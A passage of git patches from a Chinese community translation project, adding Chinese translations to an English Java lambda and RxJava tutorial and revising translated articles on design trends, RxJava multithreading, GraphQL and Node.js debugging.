 
+现在我从 Java 引用中获得了好处。怎么样获得的呢？我的编译器，编译我的程序，为我的所有数据类型生成了代码。现在，编译器可以很容易地从我的参数的数据类型做决定。这里没有什么神奇的地方。每当我没有提到数据结构，我的编译器就从上下文中提取并且赋予其数据类型，因为 Java 是一个静态类型语言。
+
 Repeat. Java is a static type language. So if you feel in IDE you are writing some code which did not have any type or may be you think you are going as a Dynamic type language. You are wrong, basically you are taking benefit of Java inference.
 
+再重复一遍，Java 是一个静态类型语言。所以如果你觉得你在 IDE 中写的代码没有任何类型。你可能会认为你使用的是一个动态类型语言。你错了，你只是在利用 Java 引用而已。
+
 Now its time to start work on Lambda expressions. Guys important thing currently Lambda expression only support to Java 8. So in Android if we want Lambda expressions we can use one library Retrolambda. Which is good. Now I am going to explain about LambdaExpressions.
 
 In Android I want a one button with Click Listener. So code as shown below.
 
+现在，我们可以开始写 Lambda 表达式了。目前，Lambda 表达式只支持 Java 8。在安卓中，如果我们想用它，我们可以用 Retrolambda 库。现在们来解释一下 lambda 表达式。
+
 ```
 Button button = new Button(this);
 button.setOnClickListener(new View.OnClickListener() {
@@ -433,6 +614,8 @@ button.setOnClickListener(new View.OnClickListener() {
 
 Here I am setting one anonymous object of OnClickLisetener. So when user click, onClick method will be called. Now I am going to change this anonymous, shitty, complex code with Lambda expression.
 
+这里我们翻入了一个 OnClickLisetener 的匿名对象。当用户点击，onClick 方法就会被调用。现在我们要用 Lambda 表达式改变这个匿名的，恶心的，复杂的代码。
+
 ```
 Button button = new Button(this);
 button.setOnClickListener((View v)->{
@@ -442,12 +625,16 @@ button.setOnClickListener((View v)->{
 
 Now by using Lambda expressions I made my code concise and easy to read. I am going to make more refactoring to the above example.
 
+通过使用 Lambda 表达式，我的代码可读性更强了。我准备再重构一下上面的例子。
+
 ```
 button.setOnClickListener(v -> /* Click */);
 ```
 
 I really like to write code as shown above but in start I really confused how compiler know what I am doing here. First thing here we are using the benefit of Java inference. Like on compile time Java automatically know ‘v’ is a View because we have a **functional interface** which contain one method who has one argument and that is a view as shown below.
 
+我真的很喜欢写类似上面的代码，但是在开始的时候，我真的很困惑，编译器是如何知道我这里在做什么。首先，我利用了 Java 引用。就像编译时，Java 自动知道‘v'是一个 View，因为我们用的是**函数式接口**。这个接口包含一个方法，它的参数是一个 view，如下所示。
+
 ```
 /**
  * Interface definition for a callback to be invoked when a view is clicked.
@@ -464,8 +651,12 @@ public interface **OnClickListener** {
 
 Hay, what I used, Functional Interface term. I think dots are connecting. We already discuss about Functional Interface. Its mean any method who will take a Functional Interface as an argument I can write as a Lambda Expression. Its mean Lambda Expression is a syntactic sugar.  Guys I have a feeling now you are getting everything about Lambda Expressions. Why I focused on Functional Interfaces and other terms.
 
+我用了函数接口的名字。我觉得点点点是连接中。我们已经讨论了函数式接口。它意味着任何以函数式接口为参数的方法，我就可以写成 Lambda 表达式。这意味着，Lambda 表达式是一个语法糖。我觉得你们现在已经知道 Lambda 表达式是个什么东西了。这就是为什么我要关注函数式接口和其它名词了。
+
 One more example.
 
+再来一个例子。
+
 ```
 Without Lambda:
 
@@ -480,6 +671,7 @@ thread.start();
 
 With Lambda:
 
+使用 Lambda 表达式：
 
 ```
 Thread thread = new Thread(()->{});
@@ -490,12 +682,18 @@ In Java 8 or Rx Java we have a lot of Functional Interfaces because we want to w
 
 If I only want to write a single line of code on Button press I can write my code as shown below.
 
+在 Java 8 或者 Rx Java 中，我们会使用很多函数式接口，因为我们想写出简单明了的代码，并且寥寥数语就可以完成一个大功能。现在我觉得所有的困惑都已经清晰了。这里有一些关于 Lambda 表达式更重要的点。
+
+如果当按钮被按下时，我想写一行代码，我可以写成下面这样。
+
 ```
 button.setOnClickListener(v -> System.out.println());
 ```
 
 But If I want to write more then one line of code. Then I need to write in curly braces as shown below.
 
+但如果我想写不只一行，那么我需要把它们写进花括号里，如下所示。
+
 ```
 button.setOnClickListener(v -> {
     System.out.println();
@@ -505,12 +703,16 @@ button.setOnClickListener(v -> {
 
 I can mention data type of my params explicitly as shown below.
 
+我可以明确提及数据类型，如下所示。
+
 ```
 button.setOnClickListener(**(View v)** -> System.out.println());
 ```
 
 Now what about return type in Lambda. One more example.
 
+现在，如何返回 Lambda 表达式类型呢？再给你一个例子。
+
 ```
 public interface Add{
     int add(int a, int b);
@@ -528,6 +730,8 @@ int sum = add.add(1,2);
 
 Now I am going to use that same example with Lambda.
 
+现在我使用 Lambda 表达式来表现同一个例子。
+
 ```
 public interface Add{
     int add(int a, int b);
@@ -540,6 +744,8 @@ int sum = add.add(1,2);
 
 Now you can saw how much concise code I wrote. In functionality both are same. I am not mentioning any return type, due to type inference Java automatically determine that has int data type. Now If I have more then one line code in add implentation then I need to metion as shown below.
 
+现在可以看到我写的代码有多简洁了。它们的功能是一样的。我没有提及任何返回的数据类型，因为 Java 的类型引用自动帮我决定了这是一个整型。现在，如果我想添加更多的代码到 add 方法的实现中，我需要提及如下所示。
+
 ```
 public interface Add{
     int add(int a, int b);
@@ -556,12 +762,20 @@ int sum = add.add(1,2);
 
 Now we know Functional Interfaces, Default Methods in Interface, Higher Oder Functions, Side Effects in Functions, Pure Functions, Lambda Expression and Functional Programming.
 
+现在我们知道函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。
+
 Conclusion:
 
+结论：
+
 Good work guys. Today we achieve a very big milestone in Rx. Next post [War against Learning Curve of Rx Java 2 + Java 8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/). Till now we know Observer Pattern, Pull vs Push, Reactive vs Imperative, Functional Interfaces, Default Methods, Higher Order Functions, Side Effects in Functions, Pure Functions, Lambda Expression and Functional Programming. In my opinion if you know all these terms then Rx learning curve is very very easy. Now I have a feeling we know all these terms so Rx learning curve is very easy for all of us.
 
 Guys have a nice weekend. We will met in next week with more good stuff. BYE BYE.
 
+大家都太棒了。今天我们在 Rx 学习中有了非常大的里程碑。下一篇文章是 [War against Learning Curve of Rx Java 2 + Java 8 Stream [ Android RxJava2 ] ( What the hell is this ) Part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/)。到现在为止，我们了解了观察者模式，拉模式与推模式，响应式与命令式，函数式接口，默认方法，纯函数，函数的副作用，高阶函数，可变的和不可变的，函数式编程和 Lambda 表达式。我认为，如果你都了解了上述名词，Rx 的学习将会越来越简单。现在我感觉你们都已经了解了，所以接下来 Rx 的学习对于我们都会更简单。
+
+祝你们有个愉快的周末。让我们下周再见吧。
+
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 62828771b5bac567c43c5a28f9ae48d658b96990 Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Mon, 24 Apr 2017 10:40:17 +0800
Subject: [PATCH 238/638] =?UTF-8?q?:pencil2:=20=E8=B0=83=E6=95=B4=E4=B8=80?=
 =?UTF-8?q?=E4=BA=9B=E6=A0=87=E7=82=B9=E7=AC=A6=E5=8F=B7=E5=92=8C=E9=83=A8?=
 =?UTF-8?q?=E5=88=86=E8=AF=8D=E8=AF=AD?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(#1525)

Signed-off-by: sqrtthree <imsqrtthree@gmail.com>
---
 ...-to-function-our-thoughts-on-design-are-changing.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/TODO/from-form-to-function-our-thoughts-on-design-are-changing.md b/TODO/from-form-to-function-our-thoughts-on-design-are-changing.md
index b8d0c14d628..c0ff61f6d4e 100644
--- a/TODO/from-form-to-function-our-thoughts-on-design-are-changing.md
+++ b/TODO/from-form-to-function-our-thoughts-on-design-are-changing.md
@@ -70,27 +70,27 @@
 
 ![](https://cdn-images-1.medium.com/max/1600/1*_yiHy0NAU1xANCf6HYxMDA.jpeg)
 
-[Nest](https://nest.com/) 就是个很好的自我学习系统的例子。它是一个可以围绕用户的生活来制定计划的半智能恒温器。每当用户更改系统设置的时候，Nest 都会记下温度调整，并且在几天之后用户对 Nest 的调整会减少，因为它把它学到的一切都变成家庭的时间表。是的，Nest 有很多缺点(最严重的是[系统总是采用自己的方式](https://www.nngroup.com/articles/emotional-design-fail/))，但它依然是下一代产品的绝好示例。展望未来，自学习软件将会是区别传统应用和现代应用的一个重要因素。
+[Nest](https://nest.com/) 就是个很好的自我学习系统的例子。它是一个可以围绕用户的生活来制定计划的半智能恒温器。每当用户更改系统设置的时候，Nest 都会记下温度调整，并且在几天之后用户对 Nest 的调整会减少，因为它把它学到的一切都变成家庭的时间表。是的，Nest 有很多缺点(最严重的是[系统总是采用自己的方式](https://www.nngroup.com/articles/emotional-design-fail/))，但它依然是下一代产品的绝好示例。展望未来，自我学习软件将会是区别传统应用和现代应用的一个重要因素。
 
 #### 会话式交互界面
 
-随着 iPhone 消息， Slack 以及 WhatsApp 的出现，我们交换信息的方式被完全改变。 短信已经成为一种极其自然的交流方式。
+随着 iPhone 消息、Slack 以及 WhatsApp 的出现，我们交换信息的方式被完全改变。 短信已经成为一种极其自然的交流方式。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*ZMmEYOSW_mZttqHXIEqDpw.png)
 
-这一趋势导致了会话界面的普及。从本质上讲，会话界面就是是模仿真实人类聊天的用户界面。“聊天机器人（Chatbot）”是目前我们行业最热门的术语之一。越来越多的应用程序倾向于使用个人聊天而不是GUI（的形式来和用户交互）。为什么？因为交谈对我们来说感觉很自然，这种特性使聊天机器人的使用比在传统用户界面中点击一堆按钮更加直观。另一个会话界面的优势在于细节程度（这个词我不太确定——译者注）：GUI 在实际中只有有限的选项，但和聊天机器人交谈在理论上（如果设计得好）允许开放式的发现和交互。
+这一趋势导致了会话界面的普及。从本质上讲，会话界面就是是模仿真实人类聊天的用户界面。“聊天机器人（Chatbot）”是目前我们行业最热门的术语之一。越来越多的应用程序倾向于使用个人聊天而不是 GUI（的形式来和用户交互）。为什么？因为交谈对我们来说感觉很自然，这种特性使聊天机器人的使用比在传统用户界面中点击一堆按钮更加直观。另一个会话界面的优势在于细节程度（这个词我不太确定——译者注）：GUI 在实际中只有有限的选项，但和聊天机器人交谈在理论上（如果设计得好）允许开放式的发现和交互。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*odt0dGAYbEau2LXZo8EF3A.gif)
 
 最后但同样重要，青少年和千禧一代——未来市场的主要代表——在短信应用程序中花的时间比任何其他应用程序或网站都要多，为想要接触到这个群体的（人／企业）创造了一个巨大的商业机会。
 
-但聊天机器人不是会话界面进化的最终形态。语音界面将会是聊天机器人的下一步。在不远的将来，语音交互将会在我们与技术的互动中占据很大部分。使用语音命令来控制计算机已经由新一代语音交互软件，比如 Siri，Google Now 和 Amazon Echo 实现了。它们不使用传统的 GUI 作为交互手段。但最大的挑战是了解人们将如何与语音界面进行交互。这需要更好地了解人类——不仅是他们感兴趣的话题，还包括他们将**如何**谈论这些话题。
+但聊天机器人不是会话界面进化的最终形态。语音界面将会是聊天机器人的下一步。在不远的将来，语音交互将会在我们与技术的互动中占据很大部分。使用语音命令来控制计算机已经由新一代语音交互软件，比如 Siri、Google Now 和 Amazon Echo 实现了。它们不使用传统的 GUI 作为交互手段。但最大的挑战是了解人们将如何与语音界面进行交互。这需要更好地了解人类——不仅是他们感兴趣的话题，还包括他们将**如何**谈论这些话题。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*coZE_xgldZTEQyI7SCdkvg.jpeg)
 
 ### 结语
 
-随着技术的不断发展，我们正在使互动与数字服务更直观，更便捷，更高效的道路上不断前行。下一代平台继续发展得更接近人与人之间的对话，未来的界面不一定是由像素组成的。
+随着技术的不断发展，我们正在使互动与数字服务更直观、更便捷、更高效的道路上不断前行。下一代平台继续发展得更接近人与人之间的对话，未来的界面不一定是由像素组成的。
 
 ---
 

From 7defe8018dc7199d3f0d2059dd462236c93bbbf2 Mon Sep 17 00:00:00 2001
From: PhxNirvana <phx-sc@qq.com>
Date: Mon, 24 Apr 2017 10:45:52 +0800
Subject: [PATCH 239/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/multithreading-with-rxjava-dadddc.md | 36 +++++++++++------------
 1 file changed, 18 insertions(+), 18 deletions(-)

diff --git a/TODO/multithreading-with-rxjava-dadddc.md b/TODO/multithreading-with-rxjava-dadddc.md
index d81eb058383..a9b14b613a1 100644
--- a/TODO/multithreading-with-rxjava-dadddc.md
+++ b/TODO/multithreading-with-rxjava-dadddc.md
@@ -9,11 +9,11 @@
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*PD7aznI_MSxRwXI37a7mtg.jpeg">
 
-大多数情况下，我写的 Android 代码都是可以流畅运行的，因此，速度从不是我考虑的问题。但几周前我处理一个读取和分析大文件的 app 时，浮现出了这一问题。
+大多数情况下，我写的 Android 代码都是可以流畅运行的。直到上几周编写一个需要读取和分析大型文件的 app 之前，我从未关心过 app 运行速度的问题。
 
-尽管我期望用户明白文件越大，耗时越长的道理，有时候他们仍会放弃我的应用。他们可能认为应用卡住了，也可能是因为他们就不想等那么久。所以如果我能把时间砍一半或更多的话，一定会大有裨意的。
+尽管我期望用户明白文件越大，耗时越长的道理，有时候他们仍会放弃我的应用。他们可能认为应用卡住了，也可能是因为他们就不想等那么久。所以如果我能把时间缩短至少一半的话，一定会大有裨益的。
 
-#### 初体验 ####
+#### 第一次尝试 ####
 
 因为我所有后台任务都用 RxJava 重写了，所以继续用 RxJava 来解决这个问题也是自然而然的。尤其是我还有一些如下所示的代码：
 
@@ -52,9 +52,9 @@ for (DataModel dataModel : Observable.merge(tasks).toBlocking().toIterable()) {
 
 的确起作用了，时间减少了近一半。但也导致大量垃圾回收（GC），这使得加载时的 UI 又卡又慢。为了搞清楚问题的原因，我加了一句 log 打印如下信息 `Thread.currentThread().getName()`。 这样我就搞清楚了，我在处理每一段数据时都新建了线程。正如结果所示，创建上千个线程并不是什么好主意。
 
-#### 二进宫 ####
+#### 第二次尝试 ####
 
-我已经完成了加速数据处理的目标，但运行起来并不那么流畅。我想知道如果不触发这么多 GC 的话还能不能跑得再快点。所以作为直接创建新线程的代替，我建立了我自己的限定线程数量的线程池提供给 RxJava 使用：
+我已经完成了加速数据处理的目标，但运行起来并不那么流畅。我想知道如果不触发这么多 GC 的话还能不能跑得再快点。所以我自己写了一个线程池并指定了最大线程数来供 RxJava 调用，省的每次处理数据都要创建新线程：
 
 ```
 List<String> dataList;
@@ -82,11 +82,11 @@ for (DataModel dataModel : Observable.merge(tasks).toBlocking().toIterable()) {
 }
 ```
 
-对于单个数据都很大的数据集来说，这样减少了约 10% 的数据处理时间。然而，对于单个数据都很小的数据集就减少了约 30% 的时间。这同时也减少了 GC 的数量，但 GC 还是太频繁。
+对于单个数据都很大的数据集来说，这样减少了约 10% 的数据处理时间。然而，对于单个数据都很小的数据集就减少了约 30% 的时间。同时也减少了 GC 的调用次数，但 GC 还是太频繁。
 
-#### Third attempt ####
+#### 第三次尝试 ####
 
-我有一个新想法——如果性能的瓶颈是线程的管理和切换会怎么样？为了克服这个问题，我可以将数据按照线程来拆分。这样虽然仍是并发运行，但对每个线程的管理将大大减小。我尝试使用 [这里](https://github.com/ReactiveX/RxJava/issues/3532#issuecomment-157509946) 的解决方法来实现我的想法：
+我有一个新想法——如果性能的瓶颈是频繁的切换和调用线程呢？为了克服这个问题，我可以将数据集根据线程的数目平均分成总数量相等的子集合，每个子合集丢给一个线程处理。这样虽然是并发运行，但是每个线程被调用的次数将被降低到最小。我尝试使用 [这里](https://github.com/ReactiveX/RxJava/issues/3532#issuecomment-157509946) 的解决方法来实现我的想法：
 
 ```
 List<String> dataList;
@@ -119,17 +119,17 @@ for (List<DataModel> dataModels : resultGroups) {
 }
 ```
 
-上文中我提到用两组数据测试，一组单个数据大但总数少，另一组单个数据小但数量多。当我再次测试时，第一组数据几乎没差别，而第二组改变相当大。之前几乎要 20秒，现在只需 5秒。
+上文中我提到用两类数据集进行测试，一类的数据本身是大文件，但是数据集里包含的数据个数很少；另一类数据集里的每一个数据并不是很大，但是包含数据的总量很多。当我再次测试时，第一组数据几乎没差别，而第二组改变相当大。之前几乎要 20秒，现在只需 5秒。
 
-第二组数据运行时间改进如此大的原因是数量的改变。每个数据都需要指定工作线程，而现在减少了指定线程时的工作量，性能也从而提升了。
+第二类数据集运行时间改进了如此大的原因，是因为每个线程不再处理一个数据（而是处理一个从总体数据集里拆分下来的小数据集）。之前每一个数据，都需要调用一个线程来处理。现在我减少了调用线程的次数，从而提升了性能。
 
-#### Clean up ####
+#### 整理 ####
 
-上面的代码要执行并发还有一些地方需要修改，所以我重新用 util 整理了代码，增加了这段代码的通用性：
+上面的代码要执行并发还有一些地方需要修改，所以我整理了代码并放到工具类中，使其更具有通用性。
 
 ```
 /**
- * Will process the data with the callable by splitting the data into the specified number of threads.
+ * 将数据集拆分成子集并指派给规定数量的线程，并传入回调来进行具体业务逻辑处理。
  * <b>T</b> 是要被处理的数据类型，<b>U</b> 是返回的数据类型
  */
 public static <T, U> Iterable<U> parseDataInParallel(List<T> data, Func1<List<T>, U> worker) {
@@ -162,20 +162,20 @@ for (List<DataModel> dataModels : resultGroups) {
 }
 ```
 
-这里 `T` 是被处理的数据类型，样例中是`DataModel`。传入待处理的 `List<T>` 并期望结果是 `U`。在我的样例中 `U` 是 `List<DataModel>`，但它可以是任何东西，并不一定是一个 list。被传入的工作方法处理每个子列表并返回结果。
+这里 `T` 是被处理的数据类型，样例中是`DataModel`。传入待处理的 `List<T>` 并期望结果是 `U`。在我的样例中 `U` 是 `List<DataModel>`，但它可以是任何东西，并不一定是一个 list。传入的回调函数负责数据子列表具体的业务处理并返回结果。
 
 #### 可以再快点么？ ####
 
 事实上影响运行速度的因素有许多。比如线程管理方式，线程数，设备等。大多数因素我无法控制，但总有一些是我没有考虑到的。
 
-如果数据不是平均分配的会怎么样？举个例子，如果有 4 个线程，第四个线程数据量是其他的 10 倍会怎么样？这时第四个线程的耗时就是其他线程的大约 10 倍。这种情况下使用多线程就不会减少多少时间。我的第二次尝试基本解决了这个问题，因为线程只在需要时才初始化。但这个方法太慢了。
+如果每个数据大小不相等会怎么样？举个例子，如果有 4 个线程，每个被指派给第 4 线程的数据大小是被指派给其他线程的十倍会怎么样？这时第四个线程的耗时就是其他线程的大约 10 倍。这种情况下使用多线程就不会减少多少时间。我的第二次尝试基本解决了这个问题，因为线程只在需要时才初始化。但这个方法太慢了。
 
 我也试过改变数据分组方式。作为随意分配的取代，我可以跟踪每一组数据的总量，然后将数据分配给最少的那组。这样每个线程的工作量就接近平均了。倒霉的是，测试之后发现这样做增加的时间远大于它节省的时间。
 
-这么做可能会更快，（结果）取决于原始数据有多不平均。但大多数情况下，随机分配看起来更快些。理想情况下是每个线程一有空就分配任务，同时执行分配所消耗的资源也少，这是最高效的。但我找不到一个足够高效的可以减少分配瓶颈的方法。
+数据被分配的大小越平均，处理速度就越快。但大多数情况下，随机分配看起来更快些。理想情况下是每个线程一有空就分配任务，同时执行分配所消耗的资源也少，这是最高效的。但我找不到一个足够高效的可以减少分配瓶颈的方法。
 
-#### Final thoughts ####
+#### 总结 ####
 
-所以如果你想要并发运行一些代码，这里提供一种方法。让我知道你的想法，这里还有许多考验控制的变量。得到一个最优解（如果有的话）总是很难的。以及，**能**并发执行并不意味着**必须**用并发。
+所以如果你想用多线程，这是我的建议。如果你有什么好想法，请务必告诉我。得到一个最优解（如果有的话）总是很难的。以及，**能**用多线程并不意味着**必须**用多线程。。
 
 ### 如果有收获的话，轻轻扎一下小红心吧老铁。想阅读更多，在 [Medium](https://medium.com/@piercezaifman) 关注我。谢谢！（顺便关注一下 [译者](https://juejin.im/user/57a16f4e6be3ff00650682d8) 233） ###

From 561d4e81e13e3cd2de2e887ba9d9631f091f3111 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Mon, 24 Apr 2017 10:55:56 +0800
Subject: [PATCH 240/638] Update
 so-whats-this-graphql-thing-i-keep-hearing-about.md

---
 TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md b/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md
index d420d000516..0ec4b6f6530 100644
--- a/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md
+++ b/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md
@@ -16,7 +16,7 @@
 
 #### 2. 感兴趣 ####
 
-> 嗯，也许我**应该**去了解一下这个我总是听别人说到的新东西。
+> 嗯，也许我**应该**去了解一下这个我总是听别人说到的新库。
 
 #### 3. 恐慌 ####
 
@@ -247,7 +247,7 @@ GraphQL 的类型结构系统可以让很多事情都变得可行。我今天的
 
 当然能！因为 GraphQL 仅仅是一个标准，你可以在任何平台、任何框架中使用它，甚至在客户端中也同样能应用它（例如，[Apollo](http://dev.apollodata.com/) 有针对 web、iOS、Angular 等环境的 GraphQL 客户端）。你也可以自己去做一个 GraphQL 服务端。
 
-#### GraphQL 是 Facebook 做的，但是我不信任 Facebook####
+#### GraphQL 是 Facebook 做的，但是我不信任 Facebook ####
 
 再强调一次，GraphQL 只是一个标准，这意味着你可以在不用 Facebook 一行代码的情况下实现 GraphQL。
 

From 51fad28049f539ca8bd55ef8a1264df00e12dbd1 Mon Sep 17 00:00:00 2001
From: PhxNirvana <phx-sc@qq.com>
Date: Mon, 24 Apr 2017 12:12:57 +0800
Subject: [PATCH 241/638] =?UTF-8?q?=E5=A2=9E=E5=8A=A0=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E8=80=85=E4=BF=A1=E6=81=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/multithreading-with-rxjava-dadddc.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/multithreading-with-rxjava-dadddc.md b/TODO/multithreading-with-rxjava-dadddc.md
index a9b14b613a1..316c1eadbed 100644
--- a/TODO/multithreading-with-rxjava-dadddc.md
+++ b/TODO/multithreading-with-rxjava-dadddc.md
@@ -3,7 +3,7 @@
 > * 原文作者：[Pierce Zaifman](https://android.jlelse.eu/@PierceZaifman?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[PhxNirvana](https://github.com/phxnirvana)
-> * 校对者：
+> * 校对者：[yazhi1992](https://github.com/yazhi1992)、[stormrabbit](https://github.com/stormrabbit)
 
 # RxJava 中的多线程 #
 

From eb34640b0c638322b10b1289d88ba66936332037 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 24 Apr 2017 14:12:12 +0800
Subject: [PATCH 242/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E6=8E=88=E6=9D=83?=
 =?UTF-8?q?=E4=BF=A1=E6=81=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md b/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md
index 0ec4b6f6530..306281e6184 100644
--- a/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md
+++ b/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md
@@ -1,5 +1,5 @@
 > * 原文地址：[So what’s this GraphQL thing I keep hearing about?](https://medium.freecodecamp.com/so-whats-this-graphql-thing-i-keep-hearing-about-baf4d36c20cf)
-> * 原文作者：[Sacha Greif](https://medium.freecodecamp.com/@sachagreif?source=post_header_lockup)
+> * 原文作者：本文已获原作者 [Sacha Greif](https://medium.freecodecamp.com/@sachagreif) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[lsvih](https://github.com/lsvih)
 > * 校对者：[xiaoyusilen](https://github.com/xiaoyusilen),[steinliber](https://github.com/steinliber)

From cd28e35b04f0d05ffb9b13a9338c0eaa737e4e43 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 24 Apr 2017 17:41:51 +0800
Subject: [PATCH 243/638] Fix a typo

---
 ...e-programming-android-rxjava2-what-the-hell-is-this-part3.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
index 987c44a2cb7..3bb48d2ed2b 100644
--- a/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
+++ b/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md
@@ -1,4 +1,4 @@
-> * 原文地址：[Reactive Programming [ Android RxJava2 ] ( What the hell is this ) Part3](https://www.teambition.com/project/583d8744180aa4d012496f03/tasks/scrum/583d8744fa1e93bf18a85a7a/task/58d0e5c09e4371c673330e96)
+> * 原文地址：[Reactive Programming [ Android RxJava2 ] ( What the hell is this ) Part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/)
 > * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：

From 1a28aa4eaf2fff9ce980023d4a9821e7aa1dd7fd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 24 Apr 2017 19:09:26 +0800
Subject: [PATCH 244/638] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E9=93=BE=E6=8E=A5?=
 =?UTF-8?q?=E6=A0=BC=E5=BC=8F=E9=94=99=E8=AF=AF=E9=97=AE?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 2e9cb3b6858..15390759488 100644
--- a/README.md
+++ b/README.md
@@ -9,7 +9,7 @@
 
 #  官方指南：
 
-- [**推荐优质英文文章到掘金翻译计划**](https://github.com/xitu/gold-miner/issues/new?title=推荐优秀英文文章&body=-\ 原文链接：%0A-\ 简要介绍：%0A)
+- [**推荐优质英文文章到掘金翻译计划**](https://github.com/xitu/gold-miner/issues/new?title=推荐优秀英文文章&body=-%20原文链接：%0A-%20简要介绍：介绍一下好不好啦，毕竟小编也看不太懂哎_(:з」∠)_)
 - [如何参与翻译](https://github.com/xitu/gold-miner/wiki/如何参与翻译)
 - [十万个为什么](https://github.com/xitu/gold-miner/wiki/十万个为什么)
 - [译文排版规则指北](https://github.com/xitu/gold-miner/wiki/译文排版规则指北)

From 3215b2e2caf0ef8402d37426807b6d0319b6142b Mon Sep 17 00:00:00 2001
From: mnikn <329121948@qq.com>
Date: Mon, 24 Apr 2017 21:19:46 +0800
Subject: [PATCH 245/638] modify v2

---
 ...ar-stories-solving-issues-in-production.md | 28 +++++++++----------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/TODO/node-js-war-stories-solving-issues-in-production.md b/TODO/node-js-war-stories-solving-issues-in-production.md
index bbc9973023d..011d236f5ed 100644
--- a/TODO/node-js-war-stories-solving-issues-in-production.md
+++ b/TODO/node-js-war-stories-solving-issues-in-production.md
@@ -8,7 +8,7 @@
 
 在这篇文章,**这篇文章讲述了 Netflix、RisingStack 和 nearForm 在生产环境中遇到 Node.js 错误的故事** - 因此你可以此为鉴，避免犯上同样的错误。同时你将会学到如何调试 Node.js 的错误。
 
-*感谢来自 Netflix 的 Yunong Xiao、来自 Strongloop 的 NearForm 和来自 Shubhra Kar 的 Matteo Collina 对这篇文章的见解与帮助。*
+**感谢来自 Netflix 的 Yunong Xiao、来自 Strongloop 的 NearForm 和来自 Shubhra Kar 的 Matteo Collina 对这篇文章的见解与帮助。**
 
 过去4年里，我们在 RisingStack 的生产环境中运行 Node 应用，积累了许多相关经验 -  感谢 [Node.js 咨询, 学习和开发](https://risingstack.com/) 的业务支持。
 
@@ -24,7 +24,7 @@ Netflix 的开发团队发现他们的应用的响应时间在逐渐变长 - 他
 
